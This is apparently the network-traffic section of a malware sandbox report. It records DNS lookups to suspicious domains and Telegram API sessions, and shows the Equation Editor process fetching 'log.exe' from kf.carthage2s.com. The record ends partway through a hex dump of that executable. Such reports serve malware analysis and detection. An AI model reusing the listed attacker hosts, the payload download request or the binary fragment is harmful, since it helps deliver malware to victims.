Jun 16, 2021 12:06:49.024847984 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.024938107 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.058650017 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.116574049 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.126645088 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.180490017 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.183533907 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.235316992 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.235750914 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.287472963 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.287497044 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.289242029 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.341006994 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.341039896 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.341054916 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.342623949 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.382247925 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.382496119 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.394392967 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394423962 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394438982 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394454002 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394469023 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394486904 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394503117 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394516945 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.394582987 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.394642115 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.434206963 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.436604023 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.446304083 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446336985 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446352959 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446367979 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446384907 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446399927 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446413040 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446428061 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446491003 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:49.446513891 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446530104 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446544886 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446607113 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446647882 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446691990 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446733952 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.446806908 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.488411903 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.488450050 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.498183012 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.498207092 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.498258114 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:49.498270035 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:50.123284101 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:50.123347044 CEST	443	49181	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:50.123416901 CEST	49181	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:51.451205015 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:52.440932989 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.498898029 CEST	443	49180	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.498965025 CEST	49180	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.732067108 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.787023067 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.787247896 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.787677050 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.839587927 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.839648008 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.839687109 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.839732885 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.839745045 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.839767933 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.839813948 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.846751928 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.846806049 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.846924067 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.875503063 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.934840918 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.938028097 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:52.989818096 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:52.994971991 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.049247980 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.052908897 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.104943991 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.104990959 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.105099916 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.156929970 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.156955957 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.156996965 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.157006979 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.159218073 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.161242962 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.212753057 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.212773085 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.212779999 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.212790012 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.212841988 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.212894917 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.212896109 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.212944031 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.213049889 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.265901089 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.265919924 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.265928030 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.266366959 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.266426086 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:53.266609907 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.266665936 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.267065048 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.267199039 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.267210960 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.268341064 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.268357038 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.268368006 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.268378973 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.319056988 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.319098949 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.359893084 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.831994057 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.832017899 CEST	443	49182	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:53.832159042 CEST	49182	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:07:08.911103964 CEST	49172	443	192.168.2.22	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 12:04:48.743724108 CEST	52197	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:04:48.818453074 CEST	53	52197	8.8.8.8	192.168.2.22
Jun 16, 2021 12:04:48.825902939 CEST	53099	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:04:48.897130013 CEST	53	53099	8.8.8.8	192.168.2.22
Jun 16, 2021 12:04:48.897434950 CEST	53099	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:04:48.949904919 CEST	53	53099	8.8.8.8	192.168.2.22
Jun 16, 2021 12:04:51.321415901 CEST	52838	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:04:51.384366989 CEST	53	52838	8.8.8.8	192.168.2.22
Jun 16, 2021 12:04:51.392491102 CEST	61200	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:04:51.454253912 CEST	53	61200	8.8.8.8	192.168.2.22
Jun 16, 2021 12:04:52.437649012 CEST	49548	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:04:52.504651070 CEST	53	49548	8.8.8.8	192.168.2.22
Jun 16, 2021 12:05:13.915947914 CEST	55627	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:05:13.983175993 CEST	53	55627	8.8.8.8	192.168.2.22
Jun 16, 2021 12:05:51.845128059 CEST	56009	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:05:51.918904066 CEST	53	56009	8.8.8.8	192.168.2.22
Jun 16, 2021 12:05:57.478846073 CEST	61865	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:05:57.537872076 CEST	53	61865	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:02.198873997 CEST	55171	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:02.249242067 CEST	53	55171	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:09.830574036 CEST	52496	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:09.881184101 CEST	53	52496	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:09.881769896 CEST	52496	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:09.933396101 CEST	53	52496	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:20.039237976 CEST	57564	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:20.089854002 CEST	53	57564	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:20.090413094 CEST	57564	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:20.144352913 CEST	53	57564	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:25.756264925 CEST	63009	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:25.806879044 CEST	53	63009	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:25.807354927 CEST	63009	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:25.858172894 CEST	53	63009	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:27.344374895 CEST	59319	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:27.400501013 CEST	53	59319	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:27.425159931 CEST	59319	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:27.481283903 CEST	53	59319	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:31.892621040 CEST	53070	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:31.945979118 CEST	53	53070	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:32.335108042 CEST	59770	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:32.385663033 CEST	53	59770	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:38.338213921 CEST	61523	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:38.389044046 CEST	53	61523	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:43.592240095 CEST	62791	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:43.651424885 CEST	53	62791	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:43.652056932 CEST	62791	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:43.711159945 CEST	53	62791	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:43.712543011 CEST	62791	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:43.771693945 CEST	53	62791	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:46.605046988 CEST	50667	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:46.658106089 CEST	53	50667	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:46.658775091 CEST	50667	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:46.711790085 CEST	53	50667	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:48.801117897 CEST	54129	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:48.851561069 CEST	53	54129	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:48.854523897 CEST	54129	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:48.904994011 CEST	53	54129	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:52.620488882 CEST	65329	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:52.673280001 CEST	53	65329	8.8.8.8	192.168.2.22
Jun 16, 2021 12:06:52.676053047 CEST	65329	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:06:52.731133938 CEST	53	65329	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 16, 2021 12:04:48.743724108 CEST	192.168.2.22	8.8.8.8	0x6ca3	Standard query (0)	kf.carthage2s.com	A (IP address)	IN (0x0001)
Jun 16, 2021 12:04:48.825902939 CEST	192.168.2.22	8.8.8.8	0x9c65	Standard query (0)	kf.carthage2s.com	A (IP address)	IN (0x0001)
Jun 16, 2021 12:04:48.897434950 CEST	192.168.2.22	8.8.8.8	0x9c65	Standard query (0)	kf.carthage2s.com	A (IP address)	IN (0x0001)
Jun 16, 2021 12:04:52.437649012 CEST	192.168.2.22	8.8.8.8	0x71dd	Standard query (0)	apdocroto.gq	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:13.915947914 CEST	192.168.2.22	8.8.8.8	0xd799	Standard query (0)	apdocroto.gq	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:51.845128059 CEST	192.168.2.22	8.8.8.8	0xf12d	Standard query (0)	apdocroto.gq	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:57.478846073 CEST	192.168.2.22	8.8.8.8	0x4b7d	Standard query (0)	apdocroto.gq	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:02.198873997 CEST	192.168.2.22	8.8.8.8	0xd386	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:09.830574036 CEST	192.168.2.22	8.8.8.8	0x3f23	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:09.881769896 CEST	192.168.2.22	8.8.8.8	0x3f23	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:20.039237976 CEST	192.168.2.22	8.8.8.8	0xc5d5	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:20.090413094 CEST	192.168.2.22	8.8.8.8	0xc5d5	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:25.756264925 CEST	192.168.2.22	8.8.8.8	0xd312	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:25.807354927 CEST	192.168.2.22	8.8.8.8	0xd312	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:27.344374895 CEST	192.168.2.22	8.8.8.8	0xefaa	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:27.425159931 CEST	192.168.2.22	8.8.8.8	0xefaa	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:31.892621040 CEST	192.168.2.22	8.8.8.8	0x7a0b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:32.335108042 CEST	192.168.2.22	8.8.8.8	0x79bf	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:38.338213921 CEST	192.168.2.22	8.8.8.8	0x887a	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:43.592240095 CEST	192.168.2.22	8.8.8.8	0xf3cb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:43.652056932 CEST	192.168.2.22	8.8.8.8	0xf3cb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:43.712543011 CEST	192.168.2.22	8.8.8.8	0xf3cb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:46.605046988 CEST	192.168.2.22	8.8.8.8	0xbaa6	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:46.658775091 CEST	192.168.2.22	8.8.8.8	0xbaa6	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:48.801117897 CEST	192.168.2.22	8.8.8.8	0x11de	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:48.854523897 CEST	192.168.2.22	8.8.8.8	0x11de	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:52.620488882 CEST	192.168.2.22	8.8.8.8	0x61a8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:52.676053047 CEST	192.168.2.22	8.8.8.8	0x61a8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jun 16, 2021 12:04:48.818453074 CEST	8.8.8.8	192.168.2.22	0x6ca3	No error (0)	kf.carthage2s.com	41.231.5.212	A (IP address)	IN (0x0001)
Jun 16, 2021 12:04:48.897130013 CEST	8.8.8.8	192.168.2.22	0x9c65	No error (0)	kf.carthage2s.com	41.231.5.212	A (IP address)	IN (0x0001)
Jun 16, 2021 12:04:48.949904919 CEST	8.8.8.8	192.168.2.22	0x9c65	No error (0)	kf.carthage2s.com	41.231.5.212	A (IP address)	IN (0x0001)
Jun 16, 2021 12:04:52.504651070 CEST	8.8.8.8	192.168.2.22	0x71dd	No error (0)	apdocroto.gq	104.21.14.60	A (IP address)	IN (0x0001)
Jun 16, 2021 12:04:52.504651070 CEST	8.8.8.8	192.168.2.22	0x71dd	No error (0)	apdocroto.gq	172.67.158.27	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:13.983175993 CEST	8.8.8.8	192.168.2.22	0xd799	No error (0)	apdocroto.gq	104.21.14.60	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:13.983175993 CEST	8.8.8.8	192.168.2.22	0xd799	No error (0)	apdocroto.gq	172.67.158.27	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:51.918904066 CEST	8.8.8.8	192.168.2.22	0xf12d	No error (0)	apdocroto.gq	172.67.158.27	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:51.918904066 CEST	8.8.8.8	192.168.2.22	0xf12d	No error (0)	apdocroto.gq	104.21.14.60	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:57.537872076 CEST	8.8.8.8	192.168.2.22	0x4b7d	No error (0)	apdocroto.gq	172.67.158.27	A (IP address)	IN (0x0001)
Jun 16, 2021 12:05:57.537872076 CEST	8.8.8.8	192.168.2.22	0x4b7d	No error (0)	apdocroto.gq	104.21.14.60	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:02.249242067 CEST	8.8.8.8	192.168.2.22	0xd386	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:09.881184101 CEST	8.8.8.8	192.168.2.22	0x3f23	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:09.933396101 CEST	8.8.8.8	192.168.2.22	0x3f23	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:20.089854002 CEST	8.8.8.8	192.168.2.22	0xc5d5	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:20.144352913 CEST	8.8.8.8	192.168.2.22	0xc5d5	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:25.806879044 CEST	8.8.8.8	192.168.2.22	0xd312	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:25.858172894 CEST	8.8.8.8	192.168.2.22	0xd312	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:27.400501013 CEST	8.8.8.8	192.168.2.22	0xefaa	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:27.481283903 CEST	8.8.8.8	192.168.2.22	0xefaa	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:31.945979118 CEST	8.8.8.8	192.168.2.22	0x7a0b	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:32.385663033 CEST	8.8.8.8	192.168.2.22	0x79bf	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:38.389044046 CEST	8.8.8.8	192.168.2.22	0x887a	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:43.651424885 CEST	8.8.8.8	192.168.2.22	0xf3cb	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:43.711159945 CEST	8.8.8.8	192.168.2.22	0xf3cb	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:43.771693945 CEST	8.8.8.8	192.168.2.22	0xf3cb	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:46.658106089 CEST	8.8.8.8	192.168.2.22	0xbaa6	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:46.711790085 CEST	8.8.8.8	192.168.2.22	0xbaa6	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:48.851561069 CEST	8.8.8.8	192.168.2.22	0x11de	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:48.904994011 CEST	8.8.8.8	192.168.2.22	0x11de	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:52.673280001 CEST	8.8.8.8	192.168.2.22	0x61a8	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)
Jun 16, 2021 12:06:52.731133938 CEST	8.8.8.8	192.168.2.22	0x61a8	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

kf.carthage2s.com

apdocroto.gq

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	41.231.5.212	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 12:04:49.033925056 CEST	0	OUT	GET /log.exe HTTP/1.1 Connection: Keep-Alive Host: kf.carthage2s.com
Jun 16, 2021 12:04:49.116209984 CEST	2	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 16 Jun 2021 03:52:28 GMT Accept-Ranges: bytes ETag: "75ff8c66362d71:0" Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 16 Jun 2021 10:04:49 GMT Content-Length: 144168 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 aa 14 d6 ee 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 d0 01 00 00 00 00 00 ce 6b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 d8 6b 02 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 6b 00 00 53 00 00 00 00 80 00 00 00 cd 01 00 00 00 00 00 00 00 00 00 00 1e 02 00 28 15 00 00 00 60 02 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 4b 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 cd 01 00 00 80 00 00 00 ce 01 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 02 00 00 02 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 6b 00 00 00 00 00 00 48 00 00 00 02 00 05 00 1c 40 00 00 5c 2b 00 00 03 00 00 00 0a 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 22 02 28 0c 00 00 0a 00 2a 42 02 28 0c 00 00 0a 00 00 02 28 09 00 00 06 00 2a 3e 00 02 72 2c 10 00 70 03 6f 2f 00 00 0a 00 2a 22 02 28 30 00 00 0a 00 2a 56 73 0f 00 00 06 28 31 00 00 0a 74 06 00 00 02 80 01 00 00 04 2a 00 13 30 08 00 a8 00 00 00 01 00 00 11 00 14 0a 04 72 